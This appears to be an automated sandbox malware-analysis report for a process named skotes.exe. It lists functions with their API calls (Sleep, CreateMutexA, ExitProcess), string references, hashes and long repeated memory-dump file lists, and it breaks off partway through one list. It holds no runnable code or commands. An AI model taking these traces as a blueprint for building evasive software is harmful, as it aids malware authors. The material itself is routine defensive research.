Opcode ID: 02aef01cee84f886ea57f94d18a1f8c35646710d68ffebaf71435de4b2eb133e
Instruction ID: c68bf6c054b38fa9b84563c510588e56c51377da2ff38c50e0d277f7e00af905
Opcode Fuzzy Hash: 02aef01cee84f886ea57f94d18a1f8c35646710d68ffebaf71435de4b2eb133e
Instruction Fuzzy Hash: D4A1F37090120A9FDB20DF64C94876FBBB8FF55315F04422AE915D7381EB39EA04CB95

Function 0050BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0050BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0050BBE4
_xtime_get.LIBCPMT ref: 0050BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0050BC13

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: b4abcd87867537fa2bc28f49bb9d0426520b69bdc297728cf0f150e5e3ceb2ac
Instruction ID: 42d35ecb409b41a0e9215a8202b20ecc52549b47cf0e80b6b58c7d24613dea49
Opcode Fuzzy Hash: b4abcd87867537fa2bc28f49bb9d0426520b69bdc297728cf0f150e5e3ceb2ac
Instruction Fuzzy Hash: A6213D75A0010AAFDF00EBA4CC859BEBFB9FF49710F100115FA01A72A1DB319D059BA1

Function 0052F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0052F3A3

Strings

`'U, xrefs: 0052F375
8"U, xrefs: 0052F44B

Memory Dump Source

Source File: 00000000.00000002.2207609999.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2207573482.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207609999.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207839220.0000000000559000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207876369.000000000055B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207900659.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208100382.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208126313.00000000006C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208166065.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208221287.00000000006EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208243623.00000000006F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208273027.0000000000703000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208302062.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208590478.000000000071A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208624073.000000000071C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208647068.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668137.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208695786.000000000074A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208740718.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208765831.000000000075C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208839166.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208891305.0000000000762000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208936373.0000000000766000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208971863.0000000000775000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208997295.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209019267.0000000000780000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209047349.0000000000784000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209067282.0000000000785000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209088739.0000000000788000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209115700.0000000000793000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209146982.0000000000794000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209170889.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209194100.00000000007CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209259627.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209284536.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209305533.00000000007FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209326096.00000000007FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209365848.00000000007FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209390323.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209412208.0000000000804000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209435683.0000000000813000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209458494.0000000000815000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"U$`'U
API String ID: 3903695350-439628954
Opcode ID: 30a2960332619a36a6ce47adeefc5de1449157eb89aed9eb8379570061fdd9f3
Instruction ID: 5f84b59ea66ee6cbe22709dc4f70ef767023c796da89dedab28178ff9d46eaba
Opcode Fuzzy Hash: 30a2960332619a36a6ce47adeefc5de1449157eb89aed9eb8379570061fdd9f3
Instruction Fuzzy Hash: 69313B31600222DFEB35AA39F849B5B7BF8FF52352F10483AE445D65D5DE70AC808B61

Analysis Process: skotes.exePID: 4488, Parent PID: 2800COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1951
Total number of Limit Nodes:	9

Executed Functions

Function 004E652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,004E652A,?,?,?,?,?,004E7661), ref: 004E6567

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0d239baebb064bbbfc3c418af55d4f1343de8102a9e9bfae5ee47a7fc4f5c211
Instruction ID: 6afa729334e365b82b55e80bf7ecf732856ee77aa7d14462a664817af83fb4c2
Opcode Fuzzy Hash: 0d239baebb064bbbfc3c418af55d4f1343de8102a9e9bfae5ee47a7fc4f5c211
Instruction Fuzzy Hash: 8DE086302002887ECE267B16DC499593B2AEB5178EF410805FC1446322CB29FD91C755

Function 004B9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 04655d9168b6507a850e5f455926044301843e665f20c1d821a102199273cf84
Instruction ID: d3bab3a4fa0fd38571b00e63fb8500a02173da87c05715e5eb8b39f16518f9ca
Opcode Fuzzy Hash: 04655d9168b6507a850e5f455926044301843e665f20c1d821a102199273cf84
Instruction Fuzzy Hash: 1C316A717042009BFB08EB68DD89BEDBBB2EB86314F24461EE014973D1C77D5991873A

Function 004B9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247925967.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247944489.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247965219.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247989522.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248011259.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248033825.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248054696.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248074249.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248089821.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248107781.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248126119.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248143759.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248161215.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248180374.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248200069.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248213912.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248261924.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248282621.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248301929.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248320278.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248336023.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248353201.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248369341.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248386124.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2248402049.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 90c57eacee9052e233163882ae40852c2bfc1f2b577d9b96e48665e03d79e402
Instruction ID: b998c20ffe64d971f3bec0c7a83302f9ec1bb631f50fbc26cf35282cd04d826a
Opcode Fuzzy Hash: 90c57eacee9052e233163882ae40852c2bfc1f2b577d9b96e48665e03d79e402
Instruction Fuzzy Hash: 643128717002009BEB08EF68DD88BEDB7A2EB86314F24461EE014D73D1C77D9991873A

Function 004BA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000002.00000002.2247099639.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247136895.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247249245.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247299290.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247346825.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247609864.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247634698.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247665281.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247728198.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247757019.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247791651.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247812819.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247842126.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247863934.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247884349.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2247902262.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
